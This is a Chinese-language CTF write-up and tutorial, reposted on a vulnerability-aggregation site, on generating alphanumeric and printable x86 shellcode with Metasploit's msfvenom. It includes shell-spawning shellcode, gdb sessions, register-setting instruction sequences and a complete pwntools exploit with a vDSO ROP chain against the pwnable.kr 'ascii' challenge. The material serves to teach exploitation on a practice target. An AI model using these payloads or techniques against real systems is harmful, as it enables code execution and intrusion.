CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 漏洞列表
  3. 正文

alphanumeric

2019年2月21日 1022点热度 0人点赞 0条评论

alphanumeric
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
【技术分享】生成自己的Alphanumeric/Printable shellcode
阅读量 85186 | 稿费 400

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-04-12 09:54:26

https://p2.ssl.qhimg.com/t0119a4cca6bdd5cddf.jpg

作者:WeaponX

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

背景

最近在看一些题目(pwnable.kr-ascii, pwnable.kr-ascii_easy, pwnable.tw-Death_Note)和漏洞(CVE-2017-7269-IIS6.0远程代码执行漏洞)的时候用到Alphanumeric/Printable shellcode。本文不阐述如何书写Alphanumeric/Printable shellcode,而是教大家如何使用Metasploit生成自己的shellcode和在特定条件下寄存器的设置。

所谓Alphanumeric是字符在[A-Za-z0-9]区间的,而Printable是字符的ascii码在0x1f和0x7f区间(不包含)的。

shellcode测试可以用以下代码测试。

/*
* $ gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
* $ ./shellcode
*/
#include
#include
char shellcode[] = {
"x89xe0xdbxd6xd9x70xf4x5ax4ax4ax4ax4ax4ax4ax4a"
"x4ax4ax4ax4ax43x43x43x43x43x43x37x52x59x6ax41"
"x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42"
"x42x30x42x42x41x42x58x50x38x41x42x75x4ax49x50"
"x6ax66x6bx53x68x4fx69x62x72x73x56x42x48x46x4d"
"x53x53x4bx39x49x77x51x78x34x6fx44x33x52x48x45"
"x50x72x48x74x6fx50x62x33x59x72x4ex6cx49x38x63"
"x70x52x38x68x55x53x67x70x35x50x65x50x74x33x45"
"x38x35x50x50x57x72x73x6fx79x58x61x5ax6dx6fx70"
"x41x41"
};
int main()
{
printf("Shellcode Length: %dn",(int)strlen(shellcode));
printf("Shellcode is [%s]n", shellcode);
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
使用metasploit生成Alphanumeric shellcode

首先查看一下metasploit中有什么编码器,其次查看能实现Alphanumeric的编码器。

root@kali ~ msfvenom -l
Framework Encoders
==================
Name Rank Description
---- ---- -----------
...
x64/xor normal XOR Encoder
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
...
可以使用的Encoders有x86/alpha_mixed与x86/alpha_upper和x86/unicode_mixed与x86/unicode_upper,不过Unicode encoder是针对类似CVE-2017-7269等宽字节进行编码的。因此在本文中我们使用到的编码器为x86/alpha_mixed。

首先,使用msfvenom来生成一段shellcode并进行编码。

root@kali ~ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -e x86/alpha_mixed -f c
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 137 (iteration=0)
x86/alpha_mixed chosen with final size 137
Payload size: 137 bytes
unsigned char buf[] =
"x89xe0xdbxd6xd9x70xf4x5ax4ax4ax4ax4ax4ax4ax4a"
"x4ax4ax4ax4ax43x43x43x43x43x43x37x52x59x6ax41"
"x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42"
"x42x30x42x42x41x42x58x50x38x41x42x75x4ax49x50"
"x6ax66x6bx53x68x4fx69x62x72x73x56x42x48x46x4d"
"x53x53x4bx39x49x77x51x78x34x6fx44x33x52x48x45"
"x50x72x48x74x6fx50x62x33x59x72x4ex6cx49x38x63"
"x70x52x38x68x55x53x67x70x35x50x65x50x74x33x45"
"x38x35x50x50x57x72x73x6fx79x58x61x5ax6dx6fx70"
"x41x41";
可以发现,前几个字符x89xe0xdbxd6xd9x70xf4并不是Alphanumeric或者Printable,因为此shellcode的前面数条指令是为了让这段shellcode位置无关,完成了获取shellcode地址并放入通用寄存器中的功能。

然而,我们可以根据不同程序栈中的数据来自己完成将shellcode的地址放入指定的寄存器BufferRegister中的Alphanumeric Instructions。例如,当BufferRegister为ECX寄存器时,可以通过如下命令生成Alphanumeric shellcode。

⚡ root@kali ⮀ ~ ⮀ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -e x86/alpha_mixed BufferRegister=ECX -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 129 (iteration=0)
x86/alpha_mixed chosen with final size 129
Payload size: 129 bytes
buf = ""
buf += "x49x49x49x49x49x49x49x49x49x49x49x49x49"
buf += "x49x49x49x49x37x51x5ax6ax41x58x50x30x41"
buf += "x30x41x6bx41x41x51x32x41x42x32x42x42x30"
buf += "x42x42x41x42x58x50x38x41x42x75x4ax49x71"
buf += "x7ax56x6bx32x78x6ax39x71x42x72x46x42x48"
buf += "x64x6dx63x53x6fx79x4ax47x73x58x34x6fx64"
buf += "x33x30x68x33x30x33x58x44x6fx42x42x72x49"
buf += "x30x6ex6fx79x48x63x76x32x38x68x67x73x37"
buf += "x70x67x70x57x70x43x43x63x58x33x30x62x77"
buf += "x76x33x6ex69x4dx31x38x4dx4bx30x41x41"
⚡ root@kali ⮀ ~ ⮀ python
Python 2.7.9 (default, Mar 1 2015, 12:57:24)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> buf = ""
>>> buf += "x49x49x49x49x49x49x49x49x49x49x49x49x49"
>>> buf += "x49x49x49x49x37x51x5ax6ax41x58x50x30x41"
>>> buf += "x30x41x6bx41x41x51x32x41x42x32x42x42x30"
>>> buf += "x42x42x41x42x58x50x38x41x42x75x4ax49x71"
>>> buf += "x7ax56x6bx32x78x6ax39x71x42x72x46x42x48"
>>> buf += "x64x6dx63x53x6fx79x4ax47x73x58x34x6fx64"
>>> buf += "x33x30x68x33x30x33x58x44x6fx42x42x72x49"
>>> buf += "x30x6ex6fx79x48x63x76x32x38x68x67x73x37"
>>> buf += "x70x67x70x57x70x43x43x63x58x33x30x62x77"
>>> buf += "x76x33x6ex69x4dx31x38x4dx4bx30x41x41"
>>> buf
'IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIqzVk2xj9qBrFBHdmcSoyJGsX4od30h303XDoBBrI0noyHcv28hgs7pgpWpCCcX30bwv3niM18MK0AA'
测试生成的shellcode时会发生段错误。因为执行shellcode时ECX中的值并不是shellcode的地址。

gdb-peda$ p $eip
$3 = (void (*)()) 0x804a040
gdb-peda$ p $ecx
$4 = 0x0
此时需手动将ecx的值设置为0x804a040,然后继续执行。

gdb-peda$ p $ecx
$4 = 0x0
gdb-peda$ set $ecx=0x804a040
gdb-peda$ c
Continuing.
process 14672 is executing new program: /bin/dash
[New process 14689]
process 14689 is executing new program: /bin/dash
$ ls
[New process 14690]
process 14690 is executing new program: /bin/ls
peda-session-ls.txt peda-session-shellcode.txt shellcode shellcode.c
示例

题目下载地址:

https://github.com/Qwaz/solved-hacking-problem/tree/master/pwnable.kr/ascii

使用ida载入ELF文件查看伪代码。发现程序先分配了一块内存,然后向内存中写长度为499的数据(Printable),在函数vuln中使用strcpy时未检测源字符串长度发生栈溢出。

int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE *ptr; // ebx@6
char v5; // [sp+4h] [bp-30h]@1
int base; // [sp+28h] [bp-Ch]@1
unsigned int offset; // [sp+2Ch] [bp-8h]@4
base = mmap(0x80000000, 4096, 7, 50, -1, 0);
if ( base != 0x80000000 )
{
puts("mmap failed. tell admin");
exit(1);
}
printf("Input text : ", v5);
offset = 0;
do
{
if ( offset > 399 )
break;
ptr = (_BYTE *)(base + offset);
*ptr = getchar();
++offset;
}
while ( is_ascii(*ptr) );
puts("triggering bug...");
return (int)vuln();
}
char *vuln()
{
char dest; // [sp+10h] [bp-A8h]@1
return strcpy(&dest, (const char *)0x80000000);
}
思路:

1.生成BufferRegister为EAX的shellcode

2.构造Alphanumeric Instructions设置寄存器EAX为shellcode的地址

3.将Printable shellcode写入mmap的内存中

4.构造ROP Chain跳入0x80000000

5.执行shellcode

STEP1

使用ldd查看程序并未加载动态库可以确定本程序是静态编译的。静态编译的程序通常有大量的ROP Gadgets供我们使用,不过题目要求输入的字符为可打印字符,这就需要Gadgets的地址是Printable的。

gdb-peda$ info proc map
process 15655
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x80ed000 0xa5000 0x0 /home/user/pwn/pwnkr/ascii/ascii
0x80ed000 0x80ef000 0x2000 0xa5000 /home/user/pwn/pwnkr/ascii/ascii
0x80ef000 0x8113000 0x24000 0x0 [heap]
0x55555000 0x55557000 0x2000 0x0 [vvar]
0x55557000 0x55559000 0x2000 0x0 [vdso]
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
可以看出代码段中的地址0x080e均是不可打印字符,所以不能在代码段中搜索Gadgets。不过可以使用ulimit -s unlimited将vDSO的基址固定来找vDSO中的Gadgets(mmap及linux地址空间随机化失效漏洞)。

使用命令dump binary memory ./vDsodump 0x55557000 0x55559000将vDSO所在的内存空间dump出来,当程序执行到ret观察栈中的数据并寻找可用的数据。

gdb-peda$ stack 15
0000| 0xffffd63c --> 0x8048fcb (:mov ebx,DWORD PTR [ebp-0x4])
0004| 0xffffd640 --> 0x80c562e ("triggering bug...")
0008| 0xffffd644 --> 0x1000
0012| 0xffffd648 --> 0x7
0016| 0xffffd64c --> 0x32 ('2')
0020| 0xffffd650 --> 0xffffffff
0024| 0xffffd654 --> 0x0
0028| 0xffffd658 --> 0xffffd704 --> 0xffffd839 ("/home/user/pwn/pwnkr/ascii/ascii")
0032| 0xffffd65c --> 0x1
0036| 0xffffd660 --> 0x80496e0 (<__libc_csu_fini>:push ebx)
0040| 0xffffd664 --> 0x0
0044| 0xffffd668 --> 0x80000000 --> 0xa31 ('1n')
0048| 0xffffd66c --> 0x2
0052| 0xffffd670 --> 0x0
0056| 0xffffd674 --> 0x0
明显看出pop3_ret + pop3_ret + pop2_ret可以让程序跳入0x80000000执行shellcode。然后使用rp++在dump出的vDSO内存空间中搜索ROP Gadgets。在offset中寻找Printable的Gadgets发现有pop3_ret(0x00000751)和pop2_ret(0x00000752),这样就可以构造出跳入0x80000000的ROP Chain。

STEP2

使用metasploit生成BufferRegister为EAX的shellcode,现在需要编写Printable Instructions将EAX设置为shellcode起始的地址。opcode为Alphanumeric的指令如下表所示

http://p1.qhimg.com/t0188635bd1502d37e8.png

r(register)代表寄存器,r8代表8位寄存器例如alah等

m(memory)代表内存

imm(immediate value)代表立即数

rel(relative address)代表相对地址

r/m(register or memory)代表内存或寄存器,可参考ModR/M与SIB编码

在程序跳入shellcode中(0x80000000)时,各个寄存器的值如下。

gdb-peda$ info r
eax 0xffffd5900xffffd590
ecx 0x800000d00x800000d0
edx 0xffffd6600xffffd660
ebx 0x800000d70x800000d7
esp 0xffffd66c0xffffd66c
ebp 0xa6161610xa616161
esi 0x414141410x41414141
edi 0x414141410x41414141
eip 0x800000000x80000000
可以使用XOR AL, imm8清除EAX的低7bit,再用过DEC EAX/AX完成EAX的高位退位,多次重复后可以得到需要的地址(本实例仅需重复一次)。

# Alphanumeric
push ecx //Q
pop eax //X => eax = 0x800000d0
xor al,0x50 //4P => eax = 0x80000080
push eax //P
pop ecx //Y
dec ecx //I => ecx = 0x8000007f
push ecx //Q
pop eax //X
xor al,0x74 //4t => eax = 0x8000000b => shellcode begin = 0x80000000 + len(QX4PPYIQX4t)
得到的指令序列为QX4PPYIQX4t。但题目中并不要求Alphanumeric而是要求Printable,所以可以使用sub完成寄存器数据的修改。

>>> asm("sub eax,0x41")
'x83xe8A'
>>> asm("sub ebx,0x41")
'x83xebA'
>>> asm("sub ecx,0x41")
'x83xe9A'
>>> asm("sub edx,0x41")
'x83xeaA'
>>> asm("sub al,0x41")
',A'
>>> asm("sub bl,0x41")
'x80xebA'
>>> asm("sub cl,0x41")
'x80xe9A'
>>> asm("sub dl,0x41")
'x80xeaA'
能大段修改的寄存器只有EAX且范围为0x20-0x7e,可以分两步修改。最终使用的Shellcode头部为

# Printable
push ebx //S
pop eax //X => 0x800000d7
sub al, 0x7e //,~ => 0x80000059
sub al, 0x53 //,S => 0x80000006 => shellcode begin = 0x80000000 + len(SX,~,S)
和shellcode拼接起来就获得了最终的exploit

from pwn import *
pop3_ret = 0x00000751 # : pop ebx ; pop esi ; pop ebp ; ret ; (1 found)
pop2_ret = 0x00000752 # : pop esi ; pop ebp ; ret ; (1 found)
# 0x1f < c < 0x7f vdso_base = 0x55557000 offset = 172 #payload = "SX,~,S" # push ebx;pop eax;sub al,0x7e;sub al,0x53 payload = "QX4PPYIQX4t" payload += "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0" payload += "A00ABAABTAAQ2AB2BB0BBXP8ACJJIS" payload += "ZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS" payload += "0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE" payload += "22I2NFOSCRHEP0WQCK9KQ8MK0AA" payload = payload.ljust(offset, "x41") # ROP CHAIN payload += p32(vdso_base + pop3_ret) payload += p32(0x41414141) payload += p32(0x41414141) payload += p32(0x41414141) payload += p32(vdso_base + pop3_ret) payload += p32(0x41414141) payload += p32(0x41414141) payload += p32(0x41414141) payload += p32(vdso_base + pop2_ret) payload += p32(0x41414141) payload += "aaa" io = process("./ascii") io.sendline(payload) io.interactive() Refer https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/ http://note.heron.me/2014/11/alphanumeric-shellcode-of-execbinsh.html https://nets.ec/Alphanumeric_shellcode https://nets.ec/Ascii_shellcode http://www.vividmachines.com/shellcode/shellcode.html#ps http://inaz2.hatenablog.com/entry/2014/07/11/004655 http://inaz2.hatenablog.com/entry/2014/07/12/000007 http://inaz2.hatenablog.com/entry/2014/07/13/025626 http://blog.sina.com.cn/s/blog_67b113a101011fl9.html http://www.c-jump.com/CIS77/CPU/x86/X77_0080_mod_reg_r_m_byte_reg.htm 本文由安全客原创发布 转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/85871 安全客 - 有思想的安全新媒体 安全知识 WeaponX 分享到: QQ空间 新浪微博 微信 QQ facebook twitter |推荐阅读 ETW注册表监控windows内核实现原理 2019-02-21 14:30:47 WordPress 5.0.0远程代码执行漏洞分析 2019-02-21 11:30:53 Lucky双平台勒索者解密分析 2019-02-21 10:45:27 off by null漏洞getshell示例 2019-02-20 16:59:40 |发表评论 发表你的评论吧 昵称 带头大哥 换一个 |评论列表 还没有评论呢,快去抢个沙发吧~ WeaponX 这个人太懒了,签名都懒得写一个 文章 5 粉丝 3 TA的文章 【漏洞分析】MS17-010:深入分析“永恒之蓝”漏洞 2017-06-15 11:15:01 【技术分享】NSA武器库:CVE-2017-9073 EsteemAudit分析 2017-06-05 14:50:26 【技术分享】生成自己的Alphanumeric/Printable shellcode 2017-04-12 09:54:26 【技术分享】跟我入坑PWN第二章 2016-12-26 14:33:12 【技术分享】跟我入坑PWN第一章 2016-12-16 13:16:25 输入关键字搜索内容 相关文章 360 | 数字货币钱包APP安全威胁概况 以太坊智能合约安全入门了解一下(下) 对恶意勒索软件Samsam多个变种的深入分析 360 | 数字货币钱包安全白皮书 Json Web Token历险记 揪出底层的幽灵:深挖寄生灵Ⅱ 简单五步教你如何绕过安全狗 热门推荐 安全客Logo 安全客 安全客 关于我们 加入我们 联系我们 用户协议 商务合作 合作内容 联系方式 友情链接 内容须知 投稿须知 转载须知 合作单位 安全客 安全客 Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 Loading...0daybank

标签: 暂无
最后更新:2019年2月21日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me